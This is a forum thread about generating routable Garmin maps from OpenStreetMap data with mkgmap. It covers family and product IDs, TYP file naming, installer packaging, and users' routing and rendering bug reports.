Do you have any idea what happens if I prerender the tiles with a different family id compared with how they are combined to each country? Currently I render each tile only once and use some of these tiles for multiple countries. It would mean a lot of work for me if the tiles need to be rendered with the same family id as the country it's going to be used with.
Dont worry, that wouldn't make any difference, so you can still render them with one ID and give each country mapset another FID. The family IDs are stored in the index files, not in the tiles.
Great!
There might be a problem, if you put two overlapping country mapsets with duplicate tile img on your GPS. But maybe this was already an issue.
I could rename the tiles before combining them... will that work?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 08.04.2014 10:03 · [flux]
Im not sure if this is necessary and if there are issues at all, lets first see if it works. If I put two neighbouring and overlapping country mapsets on my GPS I dont see any problem (and I havent heard anyone complaining too).
I only know there was an issue with my OFM maps, when you put two identical mapsets of different version dates on your GPS, the map becomes invisible. Maybe it is caused by an index problem?
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 08.04.2014 12:16 · [flux]
Lambertus wrote:
I could rename the tiles before combining them... will that work?
No. It's not just the file name; the tile id is also embedded in the file.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.04.2014 19:53 · [flux]
Ok, so no renaming of tile id's.
How about the typ files? These have now the family id, should the typ file name be updated for each country?
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 08.04.2014 20:02 · [flux]
Yes. Why: when combining more than one map in a single gmapsupp.img file you can't have two different files with the same name inside (a typ file is incorporated in an img file).
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 08.04.2014 21:24 · [flux]
-For the typ file name you can use %FID%.typ
-you copy the "master" typfile.txt to %FID%.txt
-mkgmap will automatically convert this FID.txt to FID.typ with the right family ID (dont have to adapt the txt typ file first).Example (dos batch):
set␣FID=10143 set␣typfile=%DIR%\resources\%FID%.txt copy␣%DIR%\resources\10140.txt␣%typfile% set␣argsfile=mkgmap.args␣g:\Maps\%FID%*.img java␣-Xmx8000m␣-jar␣%MKGMAP%␣--family-id=%FID%␣-c␣%argsfile%␣%typfile%
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.04.2014 22:16 · [flux]
First attempt, be nice 😎
How does this look?
http://osm.pleiades.uni-wuppertal.de/ga … 2e1a471166/me should be in bed hours ago...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.04.2014 08:09 · [flux]
I'm afraid something went wrong there Lambertus.
The FID does not match with the index files.
I suppose you used 23108 for FID, but in the gmapsupp.img I read FID 39328?In the nsi files the French and Spanish accents are messed up. Something wrong with the codepage I guess.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.04.2014 08:14 · [flux]
Yes, 23108 is the combination of family base id 23 (generic map) and country code 108 (Burundi). I'll check the gmapsupp.img FID generation tonight, hopefully.
Basecamp doesn't seem to like the Windows installer either...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.04.2014 08:43 · [flux]
yes, same Family ID 39328 is in the Mapsource index files. Dont know how it got there 😉
Maybe you've you used a FID in you mkgmap args list as well as in the --family-id java command? - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.04.2014 09:56 · [flux]
Another thing what we must watch for is the family name, which is now OSM generic routable(Burundi_25-03-2014).
This version is installed at "C:\Garmin\Maps\OSM generic routable(Burundi_25-03-2014)"
The next version has the same ID but it will be installed in a different folder, eg C:\Garmin\Maps\OSM generic routable(Burundi_09-04-2014).
I'm not sure the uninstaller will find and uninstall the previous version because it has another Family name (but same FID).
Of course we can adapt the uninstaller but I think it is better always use the same family name for a mapset:
-The family name should get OSM generic routable(Burundi) without date.
-Other parameters like series name and description will get OSM generic routable(Burundi_25-03-2014)In your combine.php you use "description" string for all those parameters, maybe add a different one for "family name" (without $version)
In a next update the installer will remove the previous version, like it has done before.
It is also possible to integrate the uninstaller with the installer, now you get two popup windows which is confusing.
I think I can fix this (see your e-mail and the mkgmap list). - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.04.2014 12:34 · [flux]
Good points, all of them. Thanks, ligfietser.
I see you're looking over my shoulder 🙂 If you want to see the latest development: /data/garmin/scripts/test/
But, perhaps you already found it?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.04.2014 14:19 · [flux]
Yeah I already checked it out, not saying that I understand it all 😉
BTW noticed some typos in the US state list, check Florida, Illinois, North Carolina - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.04.2014 14:24 · [flux]
Heh, it was late and I was tired. Not a good combo I guess 🤔
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.04.2014 11:48 · [flux]
Re the problem with the family-id. This is the commandline:
java␣-Xmx6144M␣-jar␣mkgmap.jar --index --overview-mapname=23108000 --overview-mapnumber=23108000 --family-name='OSM␣generic␣routable(Burundi)' --family-id=23108000 --series-name='OSM␣generic␣routable(Burundi_08-04-2014)' --latin1 --description='OSM␣generic␣routable(Burundi_08-04-2014)' --product-id=6 --tdbfile --nsis --copyright-message='Map␣data␣©␣openstreetmap.org␣and␣contributors' --gmapsupp␣63*.img␣ovm_63*.img
This is what JaVaWa GMTK says:
Name on computer: OSM generic routable(Burundi_08-04-2014)
Name on device: OSM generic routable(Burundi)
Family ID (FID): 39328
Product ID (PID): 6
Version: 1.00
Size: 15.66 MiB
Location: C:\Garmin\Maps\OSM generic routable(Burundi)\
Registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Garmin\MapSource\Families\OSM generic routable(Burundi)
Map type: Registry map
Protected: NoID error: The Family ID in the registry doesn't match the one in the map.
Errors recoverable: YesMap segments (2): 63241017: OSM Generic Routable (63241017) (63241017.img)
63241023: OSM Generic Routable (63241023) (63241023.img)Other essential C:\Garmin\Maps\OSM generic routable(Burundi)\23108000.tdb
files/folders: C:\Garmin\Maps\OSM generic routable(Burundi)\23108000.img
C:\Garmin\Maps\OSM generic routable(Burundi)\23108000.mdx
C:\Garmin\Maps\OSM generic routable(Burundi)\23108000_mdr.imgI think the family-id overflows.
So, how about:
family id: 23 (generic map)
product id: 108 (Burundi)
overview map: 23108000At least, this is how I think a /family/product/ id is intended to work...
Edit:
Hmm, that's not what the Mkgmap documentation says:--product-id=number Each mapset needs an unique product-id in order to let MapSource differentiate between the different maps. Default is "42".
product id: 23108 (generic map/Burundi)
Edit:
Yes, that's better. GMTK doesn't complain anymore and BaseCamp shows the map. Guess I wrong about this. 🙂 - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 14.04.2014 14:04 · [flux]
Yep, family-id 23108000 are too many digits 😉 FID=23108 / PID=1 should work, hope you have enough unique ID numbers? The mapnumber should have 8 digits, so 23108000.img for the overview map is ok.
BTW Multiple PID's for one FID doesnt work either. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.04.2014 15:38 · [flux]
ligfietser wrote:
Yep, family-id 23108000 are too many digits 😉 FID=23108 / PID=1 should work, hope you have enough unique ID numbers? The mapnumber should have 8 digits, so 23108000.img for the overview map is ok.
BTW Multiple PID's for one FID doesnt work either.Ah, that's why my maps have all different FID's, I forgot. Guess the MapSource programming team never understood how to properly implement families with products, tssk. 😛
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 14.04.2014 20:24 · [flux]
The family ID should be in the range from 1 to 65535 (because it's stored as a 16 bit uint in the TDB file).
Don't use 2041; that's the family ID of the global basemap in BaseCamp.multiple PID's were only used for special combined maps like the old Bluechart, or for maps without a FID.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.04.2014 09:19 · [flux]
New attempt:
http://osm.pleiades.uni-wuppertal.de/ga … 572a74125/Both BaseCamp and JaVaWa GMTK don't complain. I would appreciate it if someone with OSX can check out the Mac version. I haven't checked on the GPS yet too, my GPSmap 60 isn't feeling well since I dropped it on the road at high speed 🙄
Note: the country says Burundi, but the area looks more like Qatar. This is not a but, it is because I updated the version but didn't update the tile list in my test request.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.04.2014 11:01 · [flux]
-I see a lot of img files in the download list, probably not intended?
-osm_generic_windows.exe After installation I see two tiles, Burundi and Malawi, with a large gap (1000 km) between them, but the intention is good 😉
-OSM generic routable(Burundi) family name looks good now, it shows in Mapsource with the version date, so far so good.
-FID looks ok
-installation is still the old way (but with mkgmap r3186 this is solved)
-"Mac" version is also good
-osm_generic_tiles.zip lacks the ovm files (they are now in the download list, ovm_63241023.img ovm_63241017.img)
-osm_generic_gmapsupp.zip havent tested it, looks ok with gmaptool.Can you upload a mapset with a typ file (or a generic new style mapset)?
Is it possible to move or hide unnecessary files like tiles.txt, country.txt, 23108000.nsi file?
Maybe put the 23108000.nsi only in the osm_generic_tiles.zip?BTW I hope the TS won't get confused with all this detailed info 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.04.2014 13:18 · [flux]
ligfietser wrote:
-I see a lot of img files in the download list, probably not intended?
Yes, I forgot to mention that I temporarily disabled cleanup before publication.
-OSM generic routable(Burundi) family name looks good now, it shows in Mapsource with the version date, so far so good.
-FID looks ok
-"Mac" version is also good
-osm_generic_gmapsupp.zip havent tested it, looks ok with gmaptool.Great.
-installation is still the old way (but with mkgmap r3186 this is solved)
Ah, I wondered why I didn't notice any changes, it all seemed so 'regular' 😛
-osm_generic_tiles.zip lacks the ovm files (they are now in the download list, ovm_63241023.img ovm_63241017.img)
That's a bug. Solved it, I think.
Can you upload a mapset with a typ file (or a generic new style mapset)?
Yes:
http://osm.pleiades.uni-wuppertal.de/ga … b569bcff69
The OpenFietsMap Lite map below also has unimportant files moved to a subdirectory:
http://osm.pleiades.uni-wuppertal.de/ga … 3c0792d88/
Somehow the macosx.zip file is not recognised anymore by htaccess/Apache. Icon and description are missing, can't find the cause, it's working fine for other maps.Is it possible to move or hide unnecessary files like tiles.txt, country.txt, 23108000.nsi file?
Maybe put the 23108000.nsi only in the osm_generic_tiles.zip?Ah, yes this is an old wish, I'll move these to a subdirectory 'metadata'.
BTW I hope the TS won't get confused with all this detailed info 😉
When we're done I'll split off the discussion and merge with the main topic. 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.04.2014 15:46 · [flux]
Lambertus wrote:
Somehow the macosx.zip file is not recognised anymore by htaccess/Apache. Icon and description are missing, can't find the cause, it's working fine for other maps.
In the htaccess I see this line:
AddDescription␣"<b>Map␣installer␣for␣RoadTrip␣on␣the␣Mac␣OSX␣platform.</b>"␣roadtrip.zip
Perhaps change it into
AddDescription␣"<b>Map␣installer␣for␣Basecamp␣/␣Mac␣OSX␣platform.</b>"␣macosx.zip
Roadtrip is replaced by Basecamp (btw you can use this format also for Basecamp under Windows).
Replace roadtrip.zip for macosx.zip in this line too:
#␣Add␣icons␣to␣specific␣files AddIcon␣/garmin/icons/macos.gif␣roadtrip.zip
The OpenFietsMap Lite map below also has unimportant files moved to a subdirectory:
http://osm.pleiades.uni-wuppertal.de/ga … 3c0792d88/The TYP file is missing in all files.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.04.2014 20:10 · [flux]
ligfietser wrote:
Lambertus wrote:
Somehow the macosx.zip file is not recognised anymore by htaccess/Apache. Icon and description are missing, can't find the cause, it's working fine for other maps.
In the htaccess I see this line:
AddDescription␣"<b>Map␣installer␣for␣RoadTrip␣on␣the␣Mac␣OSX␣platform.</b>"␣roadtrip.zip
Perhaps change it into
AddDescription␣"<b>Map␣installer␣for␣Basecamp␣/␣Mac␣OSX␣platform.</b>"␣macosx.zip
Roadtrip is replaced by Basecamp (btw you can use this format also for Basecamp under Windows).
Replace roadtrip.zip for macosx.zip in this line too:
#␣Add␣icons␣to␣specific␣files AddIcon␣/garmin/icons/macos.gif␣roadtrip.zip
Don't know for sure, but it looks like I somehow got an old htaccess source file in my test directory. Listing works again after updating it. 🤔
The OpenFietsMap Lite map below also has unimportant files moved to a subdirectory:
http://osm.pleiades.uni-wuppertal.de/ga … 3c0792d88/The TYP file is missing in all files.
Indeed it was. But not anymore 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.04.2014 21:08 · [flux]
Everything is fine now! 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.04.2014 21:13 · [flux]
Great, I'll put the adapted script in production. 😎
Edit:
Hmm, no, I'll wait until I've updated Mkgmap and tested the new NSIS installer script as well.Edit:
The map is updated with the latest Mkgmap and the installer seems to work fine. An update is in order.Edit:
The new script is now in production on the country server. Many thanks to Ligfietser and JaVaWa for the tips, suggestions and testing!Enjoy!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.04.2014 15:39 · [flux]
Made a small improvement to the website that removes the "- " from Canadian and US states wherever it's used (except in the pull-down menu's). This was needed because matching "- Alberta" against "Alberta" to get it's country code does not work well. 😉
Also fixed a few missing or mismatched country codes. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.04.2014 14:45 · [flux]
Thanks Lambertus!
In the generic new styles there were some routing errors detected (see http://forum.openstreetmap.org/viewtopi … id=414084) which had to do with opposite cycleways.I corrected those in the style file, but now it needs the internal --make-opposite-cycleways option instead of the rules that I put in the lines style (but that wasnt working).
Can you add the option --make-opposite-cycleways to the generic new process (dont know if the generic old already has this option? The OFM Lite does not need this). - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.04.2014 16:01 · [flux]
Added the parameter to Generic New, Generic Old does not have this parameter so I added it there too. Is that OK?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.04.2014 16:27 · [flux]
Yep, it has been improved recently by Gerd so I guess its ok to use. 😎
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.04.2014 17:13 · [flux]
Cool. I'm also experimenting a bit with nicer indexing: http://osm.pleiades.uni-wuppertal.de/ga … 4598f3ce3/
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.04.2014 18:14 · [flux]
Nice, much better. Maybe instead of the footer Apache/2.2.22 (Ubuntu) Server etc add a license note from *_license.txt?
Map␣data␣(c)␣OpenStreetMap␣and␣its␣contributors http://www.openstreetmap.org/copyright
This␣map␣data␣is␣made␣available␣under␣the␣Open␣Database␣License: http://opendatacommons.org/licenses/odbl/1.0/. Any␣rights␣in␣individual␣contents␣of␣the␣database␣are␣licensed␣under␣the Database␣Contents␣License:␣http://opendatacommons.org/licenses/dbcl/1.0/ Map␣created␣with␣mkgmap-r3189
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.04.2014 18:27 · [flux]
Lambertus wrote:
Cool. I'm also experimenting a bit with nicer indexing: http://osm.pleiades.uni-wuppertal.de/ga … 4598f3ce3/
BTW I dont see "new" in the mapname, it says "OSM generic routable(Netherlands)"
http://osm.pleiades.uni-wuppertal.de/ga … 528000.nsi - Re: Worldwide routable Garmin maps: URL REMOVED · dpawlyk (Gast) · 18.04.2014 23:33 · [flux]
Hmm. I wonder if there is a way of determing the date of the OSM data being used. I've made updates to various places in New Jersey, US and they aren't in the garmin maps downloaded from openfietsmap.nl.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.04.2014 12:16 · [flux]
It's not perfect, but the date of the map gives an idea. This date is when the update process started and one of the first things the process does is updating the local copy of the OSM planet with daily extracts. The local planet is at least one day behind the start date (and in some cases it can be two days).
The rule of thumb is therefore the version date minus two days.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.04.2014 13:49 · [flux]
If I look in the download box of for instance Iceland, it also shows
country: Netherlands
version: 16-04-2014 ;-)
http://osm.pleiades.uni-wuppertal.de/ga … 76deaa26a/I also noticed that the new version and the old version both have the same name: OSM generic routable(Netherlands)
This means that if I install the new version first, and afterwards the old, it warns that a previous map has been found.
So this is not too bad. You can either install the old version or the new style version, not both.
If we want them both, the map name of the new style should be different: OSM generic routable new (Netherlands) - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 20.04.2014 08:05 · [flux]
ligfietser wrote:
If I look in the download box of for instance Iceland, it also shows
country: Netherlands
version: 16-04-2014 ;-)
http://osm.pleiades.uni-wuppertal.de/ga … 76deaa26a/That is a very dumb copy/paste error on my part. Fixed in the code.
I also noticed that the new version and the old version both have the same name: OSM generic routable(Netherlands)
This means that if I install the new version first, and afterwards the old, it warns that a previous map has been found.
So this is not too bad. You can either install the old version or the new style version, not both.
If we want them both, the map name of the new style should be different: OSM generic routable new (Netherlands)The description is changed to OSM generic routable new.
As always: thanks for the feedback, Ligfietser!
- Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 20.04.2014 11:04 · [flux]
Ik zag een fietspad routeer probleem in een new style kaart van 11-3-2014, maar dat is netjes opgelost in de new style kaart van 16-4-2014. Ik heb wat paginas terug gelezen en had het idee dat er met de routering wat verbeteringen waren doorgevoerd dus dat moest ik eerst even testen.
Oftewel Bedankt 😉Sorry not in English ...
Noticed some routing errors in basecamp with car/motor using bicycle paths on a new style map from march. In recent maps it is fixed thnx 😉At least in basecamp, now I get a route calculation error on my oregon 300 and I have not figured out why or where yet. Same route as with 11-3 map which is fine.
The new naming and numbering system is REALLY APPRECIATED and made it very easy to do an A - B comparison, thnx.
The other thing I noticed while scrolling around in the area in basecamp.
The rendering of motorway_link might be not the most preferable way. Take a look at knooppunt ijselmonde ridderkerk which is a beautiful spaghetti highway system in real life but on the map it is only visible when all the way zoomed in basecamp. https://www.openstreetmap.org/way/7325163
same for kleinpolderplein terbrechseplein knooppunt benulux etc. Although for the last one also google maps is heaving issues for the shear size of the spaghetti. knooppunt Ypenburg is also a nice example close to Rijswijk.On my gps(oregon300) the motorway_link are reasonable sized(on the thin end) dark grey lines visible while zoomed out, with the high chance of cluttering they are probably good as they are.
- Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 20.04.2014 11:43 · [flux]
It seems like my gps does not like the changes that were made last month in the routing.
With the custom tile selection map I made 11-3-2014 I could route from rotterdam to wuppertal if I allowed it to use highways no intermediate points needed. with the dutch map from 16-4-2014 I cannot even route from rotterdam to amsterdam without the route calculation error, obviously I tried that as well with the map from 11-3-2014 and that was no problem.
Sorry I really just wanted to give a thumbs up 😎 , but will trying some things I found this issue 🙁 and by now I should have opened a new thread. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.04.2014 06:58 · [flux]
Mafketel,
Wait for the next update, Ive adjusted the routing after some remarks on the Dutch forum. Maybe this solve your issues too.
About rendering motorway links, the map uses the default Garmin style. This doesnt look very fancy on Basecamp but I'll have a look at the zoomlevels. - Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 21.04.2014 11:50 · [flux]
I will wait.
Something changed between 11-3 and 16-4 update.
Actually quite a lot with zooming 😉 in basecamp and for the better, I really like the fact that railways are visible much longer when you zoom out. and that at 700m the railways are rendered with the gray white dash.
only at 200m the railroad yard between zwijndrecht and barendrecht becomes visible same as the outlines of the buildings, also a good thing.
And then railway tunnels are actually visible until 3km.
In the 11-3 map they are not shown on any zoomlevel.The railway tunnels on my orgeon300 are on neither map visible on any zoomlevel, which might be a feature 😉 they are not that useful for navigating and would just clutter the screen.
In basecamp with the 11-3 generated map motorway_links are white with black edge and thick enough. And visible until 3km
in the 16-4 map they are only visible @ 200m and very thin..... I made a mistake when I said the motorway links were visible on my gps(oregon300) with 16-4 map, they are not, only tiny lines at the 200m and below zoomlevel. The grey lines I mentioned before are from the 11-3 map.
Anyway I really appreciate what u guys are doing and happy to use the 11-3 map for quite a bit longer 😉 .
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.04.2014 18:30 · [flux]
You are right that a lot has changed the last month and we're still busy with the changes 😉
As a result some bugs revealed but the next update should be better. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 22.04.2014 09:39 · [flux]
Update is running with Mkgmap r3200. It will take about 3 days before the maps become available. Hopefully the performance improvements will have an significant effect 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · dpawlyk (Gast) · 22.04.2014 20:48 · [flux]
Lambertus wrote:
It's not perfect, but the date of the map gives an idea. This date is when the update process started and one of the first things the process does is updating the local copy of the OSM planet with daily extracts. The local planet is at least one day behind the start date (and in some cases it can be two days).
The rule of thumb is therefore the version date minus two days.
That might be good enough. I'm trying to get an idea of when changes I've made to OSM get included in these maps.
I wonder if it's time to not have two routable versions (the standard and "new style"). As it stands, there isn't any information to tell which one to use (or what the differences are).
Is there any plan to start producing the "Generic Nautical"? version?
I want to see if having a non-routable map disables the route calculation in certain Garmins (Touring and 810).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 22.04.2014 21:15 · [flux]
I currently think it's best to evolve the original generic map into an non-routable light-weight map (for e.g. old Etrex and newer wrist Garmins).
A nautical map would be great but I haven't had/taken the time to discover how the default nautical style works.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 23.04.2014 11:02 · [flux]
@dpawlyk:
Differences between generic and generic new style are at the moment not so big and mainly cosmetic.
Main difference is the use of a typ file, in order to render the properties of ways, like bridges, tunnels, pavement, road class of roudabouts etc.
Without a typ file (generic map, which uses the defaullt mkgmap style) this is not possible. The generic map does have an optional 'mapnik' typ file but this is only implemented in order to render some ugly garmin styles better (like the hatched forest patterns). For more info about the development of the new style see this topic: http://forum.openstreetmap.org/viewtopic.php?id=13257 - Re: Worldwide routable Garmin maps: URL REMOVED · dpawlyk (Gast) · 23.04.2014 22:14 · [flux]
Lambertus wrote:
I currently think it's best to evolve the original generic map into an non-routable light-weight map (for e.g. old Etrex and newer wrist Garmins).
That's what I was looking for.
- Re: Worldwide routable Garmin maps: URL REMOVED · FFes (Gast) · 23.04.2014 22:23 · [flux]
Lambertus wrote:
I currently think it's best to evolve the original generic map into an non-routable light-weight map (for e.g. old Etrex and newer wrist Garmins).
Brings back memories to the start of your Garmin maps with the "dense" grid over just NL. They were perfect for my Venture HC 😎
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 24.04.2014 12:55 · [flux]
Lambertus, how about adding contour lines?
Popej has created some contour datasets that we can use (see your pm). - Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 24.04.2014 13:40 · [flux]
A contoured map would be especially appreciated by users such as in Australia where the only free alternative displaying contours at say 10 or 20m intervals is to create our own. I am just about to do that but srtm2osm needs windows whereas I only have a mac. 🤔
edit: srtm2osm runs fine on iMac under mono and have produced a fine set of contours now. - Re: Worldwide routable Garmin maps: URL REMOVED · dpawlyk (Gast) · 25.04.2014 18:04 · [flux]
Err.
The "pan up" arrow sits right over the copywrite link on the map. One of them should be moved.
- Re: Worldwide routable Garmin maps: URL REMOVED · dpawlyk (Gast) · 26.04.2014 00:47 · [flux]
ligfietser wrote:
Lambertus, how about adding contour lines?
Popej has created some contour datasets that we can use (see your pm).Contour lines should be an option. They might be clutter on GPS units with small screens, like the Edge 800.
- Re: Worldwide routable Garmin maps: URL REMOVED · Colin Campbell (Gast) · 03.05.2014 20:22 · [flux]
I just created a Garmin map for the United States (except for Alaska and Hawaii). I didn't realized I was doing something that was slow and consumed a lot of resources. At least the map will be used by multiple cyclists, because I created two new microSD cards, and will update my own.
The process is time consuming, because I can only select one state in the United States, and then I have to add tiles for 47 more states. Sometimes, I have to zoom in, because certain tiles are quite tiny, or zoom out, to see if I am finished adding tiles. It would be better (for me, the user) if I could select the entire country, or select multiple states from the list. Selecting multiple states would siplify creating regional maps. I know people who live in the eastern US often do multi-state bike rides, for example.
Maybe as a new user I am not aware of all aspects of this service. My original idea was to create a map that would be a replacement for Garmin's expensive maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.05.2014 20:30 · [flux]
Colin Campbell wrote:
The process is time consuming, because I can only select one state in the United States, and then I have to add tiles for 47 more states.
You could enable manual tile selection to select the whole country..
- Re: Worldwide routable Garmin maps: URL REMOVED · Nuvi2595 (Gast) · 05.05.2014 13:23 · [flux]
I am interested in downloading Egypt map for my Garmin Nuvi2595
I tried to download it to my device but it could not see it or make any difference to the device so I removed it from its internal memory.
PLEASE HELP
THANK YOU IN ADVANCE
Bob
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 05.05.2014 19:31 · [flux]
Did you put it in a garmin folder?
- Re: Worldwide routable Garmin maps: URL REMOVED · Colin Campbell (Gast) · 06.05.2014 00:24 · [flux]
ligfietser wrote:
Colin Campbell wrote:
The process is time consuming, because I can only select one state in the United States, and then I have to add tiles for 47 more states.
You could enable manual tile selection to select the whole country..
OK, I went back and skipped selecting a state, then just did a drag using my mouse to select most of the USA. Then I just had to do a little refinement around the edges. This is indeed a much faster method. Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 06.05.2014 10:16 · [flux]
Report: Missing label for lakes and water features - Wall of Jerusalem NP (TAS, Aust)
Just been looking around on the mapset I downloaded from 15 April 2014 and note that the various lakes in the Wall of Jerusalem NP were without their name labels on default display. But they do show up when the cursor is clicked on top of them when used within BaseCamp (Mac). I note from OSM's main site they were all properly labelled by default.
Is this a normal behaviour? Thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.05.2014 11:49 · [flux]
I suppose you use the new styles map, where the labels are invisible by default.
In the NL'ds this cluttered the maps because there are a lot tiny polygons with water and name=*.
Example here: https://www.openstreetmap.org/#map=15/52.2476/5.3928 (Rengerswetering).A solution would be that I can use a different poly type (0x3f) with an invisible label for those tiny water polygons, and give all other water polygons a visible label.
A temporary workaround is that you can edit the typ file and make the label visible (Polygon Type=0x3c). - Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 06.05.2014 13:34 · [flux]
Got it! These lakes in the Wall of Jerusalem are of decent size. I think it would be worth showing their names by default. A size criteria would make a lot of sense. Thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.05.2014 13:45 · [flux]
Thanks for the suggestion Ciprol, I see it can also improve my cycle maps as well (too many labels of small waters).
The area_size() function was implemented not too long ago by mkmap so I will add it to the lakes. - Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 07.05.2014 04:36 · [flux]
Again, appreciate your effort on all of these! 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 07.05.2014 09:39 · [flux]
The routing on a oregon 300 works again, even better then expected 😉 This is on a map that was generated on the 6th of may.
Even with shortest distance it does not give a calculation error on a route from Rotterdam to Wuppertal. 😛😎The highway ramps are also much better again 😉
Something weird happens in Rotterdam though.
If arriving from kralingen/the west on the Jacques Dutilhweg and want to enter the highway to the brienenoordbrug it does a weird detour on the service road if you use shortest distance. This happens both on my gps and basecamp, I checked on osm.org and there is no reason, I think, that it should do that.
Using fastest route there is no detour. - Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 07.05.2014 12:29 · [flux]
May I report one more problem? The East side of Sydney Harbour (Aust) is showing up as white rather than blue in Garmin's BaseCamp (Mac) and on Garmin Oregon 650. This is from a download today. I recall there was a similar issue affecting the western side of Sydney Harbour but that was resolved. It was working normally for quite a while and then suddenly this happened, but on the East side. Thanks for reviewing it.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.05.2014 16:25 · [flux]
@Mafketel: good to know the routing works better, but sometimes there are strange things happening, dont know what the reasons are.
@ciprol: might be caused by a broken polygon, I cant find any errors on JOSM, maybe it has been fixed already. - Re: Worldwide routable Garmin maps: URL REMOVED · mistergiloo (Gast) · 14.05.2014 16:36 · [flux]
hello
I have a problem to download the russian federation
zip file is only 174 b and not 941 Mbthanks
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 14.05.2014 18:00 · [flux]
I think something went wrong with the map generation (Lambertus?).
Maybe you can choose a manual tile selection and request a new custom map? - Re: Worldwide routable Garmin maps: URL REMOVED · tumsi (Gast) · 15.05.2014 14:32 · [flux]
Lambertus, first of all, thank you for this great service. I use it from time to time, when I need a map of a small region which I cannot find already prepared somewhere else. It almost only took a few hours to get that map but now I am shocked: over 480 requests and a waiting time of about 2 days? Is every request a manual one or perhaps somebody performed requests using a bot?
- Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 18.05.2014 01:56 · [flux]
tumsi wrote:
Lambertus, first of all, thank you for this great service. I use it from time to time, when I need a map of a small region which I cannot find already prepared somewhere else. It almost only took a few hours to get that map but now I am shocked: over 480 requests and a waiting time of about 2 days? Is every request a manual one or perhaps somebody performed requests using a bot?
Perfectly understandable. Just think about the proliferation of GPS units out there. Even just with Garmin cycling computers and the number of them downloading routable cycling maps, there'd be thousands and thousands.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.05.2014 12:00 · [flux]
tumsi wrote:
Lambertus, first of all, thank you for this great service. I use it from time to time, when I need a map of a small region which I cannot find already prepared somewhere else. It almost only took a few hours to get that map but now I am shocked: over 480 requests and a waiting time of about 2 days? Is every request a manual one or perhaps somebody performed requests using a bot?
No bots, requests are handled automatically, the queue length is a function of popularity and lack of cpu resources. If you can't wait: download a whole country is a good idea. Bandwidth is not the limiting factor.
Just fyi, there is an idea to speedup custom map generation by a factor of about 200%. I need time to implement it, but I'm working on contours too at the moment.
- Re: Worldwide routable Garmin maps: URL REMOVED · Sojo Smins (Gast) · 19.05.2014 01:59 · [flux]
I am really amazed by this service...
